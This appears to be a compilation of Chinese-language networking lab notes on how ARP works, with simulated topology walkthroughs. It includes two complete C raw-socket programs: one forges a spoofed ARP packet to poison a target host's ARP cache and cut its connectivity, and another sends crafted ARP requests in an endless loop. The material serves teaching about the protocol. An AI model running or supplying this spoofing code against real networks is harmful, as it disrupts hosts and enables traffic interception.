#####创建如图所示网络拓补
 
 #####将文件从pc0发送给pc1
 
 #####文件先传给了路由器
 
 #####路由器向三台电脑都发送了报文
 
 #####pc1响应报文
 
 #####路由器将文件返回pc0
 
 #####此时pc0的MAC地址为0030.A386.D367
 
 #####pc1响应了报文，并且在报文中附上了自己的MAC地址
 
 #####此时是pc0接收到返回的报文
 
 #####此时pc0中保存了pc1的IP地址与MAC地址的映射关系
 
 #####此时pc1中保存了pc0的IP地址与MAC地址的映射关系
 

 #####增加一台pc4
 

 #####文件由pc0向pc4发送时，先发给路由器路由器接收后向四台电脑发送文件
 
 
#####pc4响应报文
 
 #####pc0接收报文
 

 #####pc4响应报文并附上了自己MAC地址

linux原始套接字，可以直接发送和接收链路层和网络层的报文，对我们理解TCP/IP协议栈有很多帮助。
 
也可写出很多有趣的程序。
 
下面的例子是向192.168.1.60的电脑，发送伪造的ARP报文，使其更新ARP表，导致无法PING通192.168.1.71。
 
使用命令arp -d 删除arp缓存即可恢复。
 
本示例仅供学习交流，请勿用于非法用途。
 
 
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>


#define print_errno(fmt, ...) \
    printf("[%d] errno=%d (%s) #" fmt, \
        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv)
{
    struct ether_header *eth = NULL;
    struct ether_arp *arp = NULL;
    struct ifreq ifr;
    struct in_addr daddr;
    struct in_addr saddr;
    struct sockaddr_ll sll;

    int skfd;
    int n = 0;

    unsigned char dmac[ETH_ALEN] = {0x50,0x46,0x5d,0x71,0xcd,0xc0};
    /*伪造 源MAC*/
    unsigned char smac[ETH_ALEN] = {0x00,0x11,0x22,0x33,0x44,0x55};

    daddr.s_addr = inet_addr("192.168.1.60");
    /*伪造 源IP*/
    saddr.s_addr = inet_addr("192.168.1.71");

    memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);

    /*创建原始套接字*/
    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (skfd < 0) {
        print_errno("socket() failed! \n");
        return -1;
    }
    
    bzero(&ifr,sizeof(ifr));
    strcpy(ifr.ifr_name, "eth1");
    if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {
        print_errno("ioctl() SIOCGIFINDEX failed!\n");
        return -1;
    }
    printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);

    bzero(&sll, sizeof(sll));
    sll.sll_ifindex  = ifr.ifr_ifindex;
    sll.sll_family   = PF_PACKET;
    sll.sll_protocol = htons(ETH_P_ALL);

    #if 0
    /*获取本机IP*/
    if(-1 == ioctl(skfd, SIOCGIFADDR, &ifr)){
        printf("ioctl() SIOCGIFADDR failed! \n");
        return -1;
    }
    printf("ifr_addr    = %s\n", \
        inet_ntoa(((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr));

    /*获取本机MAC*/
    if(-1 == ioctl(skfd, SIOCGIFHWADDR, &ifr)) {
        printf("ioctl() SIOCGIFHWADDR failed! \n");
        return -1;
    }
    printf("ifr_hwaddr  = %02x-%02x-%02x-%02x-%02x-%02x\n",   \
        (unsigned char)ifr.ifr_hwaddr.sa_data[0],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[1],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[2],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[3],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[4],             \
        (unsigned char)ifr.ifr_hwaddr.sa_data[5]);


    #endif

    /*构造以太报文*/
    eth = (struct ether_header*)s_ip_frame_data;
    eth->ether_type = htons(ETHERTYPE_ARP);
    memcpy(eth->ether_dhost, dmac, ETH_ALEN); 
    memcpy(eth->ether_shost, smac, ETH_ALEN);

    /*构造ARP报文*/   
    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));
    arp->arp_hrd = htons(ARPHRD_ETHER); 
    arp->arp_pro = htons(ETHERTYPE_IP); 
    arp->arp_hln = ETH_ALEN;
    arp->arp_pln = 4;
    arp->arp_op  = htons(ARPOP_REQUEST);
    
    memcpy(arp->arp_sha, smac, ETH_ALEN);
    memcpy(arp->arp_spa, &saddr.s_addr, 4);
      /*
    memcpy(arp->arp_tha, dmac, ETH_ALEN);*/
    memcpy(arp->arp_tpa, &daddr.s_addr, 4);  
     
    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);
    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \
        (struct sockaddr*)&sll, sizeof(sll));
    if (n < 0) {
        print_errno("sendto() failed!\n");
    }
    else {
        printf("sendto() n = %d \n", n);
    }
    close(skfd);
    return 0;
}

 (1)报文格式
 
 
(2)代码如下:
 
 
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <string.h>
#include <net/if.h>

#define SRC_MAC  { 0x00,0x0C,0x29,0x6F,0x57,0xE7 }//源MAC地址
#define DEST_MAC { 0x00,0x0C,0x29,0xD3,0xD6,0xF7 }//目的MAC地址

struct arppacket
{
        unsigned char dest_mac[ETH_ALEN];//接收方MAC
        unsigned char src_mac[ETH_ALEN];//发送方MAC
        unsigned short type;         //0x0806是ARP帧的类型值
        unsigned short ar_hrd;//硬件类型 - 以太网类型值0x1
        unsigned short ar_pro;//上层协议类型 - IP协议(0x0800)
        unsigned char  ar_hln;//MAC地址长度
        unsigned char  ar_pln;//IP地址长度
        unsigned short ar_op;//操作码 - 0x1表示ARP请求包,0x2表示应答包
        unsigned char  ar_sha[ETH_ALEN];//发送方mac
        unsigned char ar_sip[4];//发送方ip
        unsigned char ar_tha[ETH_ALEN];//接收方mac
        unsigned char ar_tip[4];//接收方ip
} __attribute__ ((__packed__));
int main(int argc,char *argv[])
{
    int fd = 0;
    struct in_addr s,r;
    struct sockaddr_ll sl;

    struct arppacket arp={
                DEST_MAC,
                SRC_MAC,
                htons(0x0806),
                htons(0x01),
                htons(0x0800),
                ETH_ALEN,
                4,
                htons(0x01),
                SRC_MAC,
                {0},
                DEST_MAC,
                {0}
    };

    fd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    if(fd < 0)
    {
        printf("socket error\n");
        return -1;
    }
    memset(&sl, 0, sizeof(sl));

    inet_aton("192.168.11.220", &s);
    memcpy(&arp.ar_sip, &s, sizeof(s));

    inet_aton("192.168.11.192", &r);
    memcpy(&arp.ar_tip, &r, sizeof(r));


    sl.sll_family = AF_PACKET;
    sl.sll_ifindex = IFF_BROADCAST;
	
	while(1)
    {
        if(sendto(fd,&arp, sizeof(arp), 0, (struct sockaddr*)&sl, sizeof(sl)) <= 0)
        {
            printf("send error\n");
        }
        else
           printf("send success\n");

        sleep(1);
    }

    close(fd);

    return 0;
}
	
 
 

搭建合适拓扑
 
配置各个PC的IP地址
用直连线将PC与交换机相连
 
使各个PC之间互相保存IP地址与MAC地址
 
使用PC向其他PC发送简单报文
在命令框中输入arp -a会显示ARP高速缓存已保存的IP地址与MAC地址
 如图：
 
 
观察拓扑中增加一台PC后ARP的运行过程
 
增加PC5（PC6）并设置其IP
观察它的MAC地址
 
 
使用PC0向PC6发送数据报并观察
 

 PC0向5台主机发送ARP请求报文，
 收到报文的主机会与自己的IP地址进行对比。
 一致的主机会在ARP响应报文中写入自己的MAC地址，不一致的主机则会丢弃这个ARP请求报文
 

 此时PC6的IP地址吻合，则IP0通过ARP得到IP6的MAC地址，且PC6向PC0发送数据得到PC0的MAC地址
 

 PC0向交换机发出ARP请求报文由交换机发出给各台PC
 

 每次传输回来的报文都会显示一些关于自己电脑的信息，（但是是在两台电脑得到传输和回应的时候）黄色部分代表的是pc0的mac地址，粉色部分则代表的是pc0的IP地址，绿色的部分表示目的地的电脑的mac地址，蓝色的就是目的地电脑的ip地址。
 没有得到响应的电脑不会显示电脑的ip地址和mac地址·。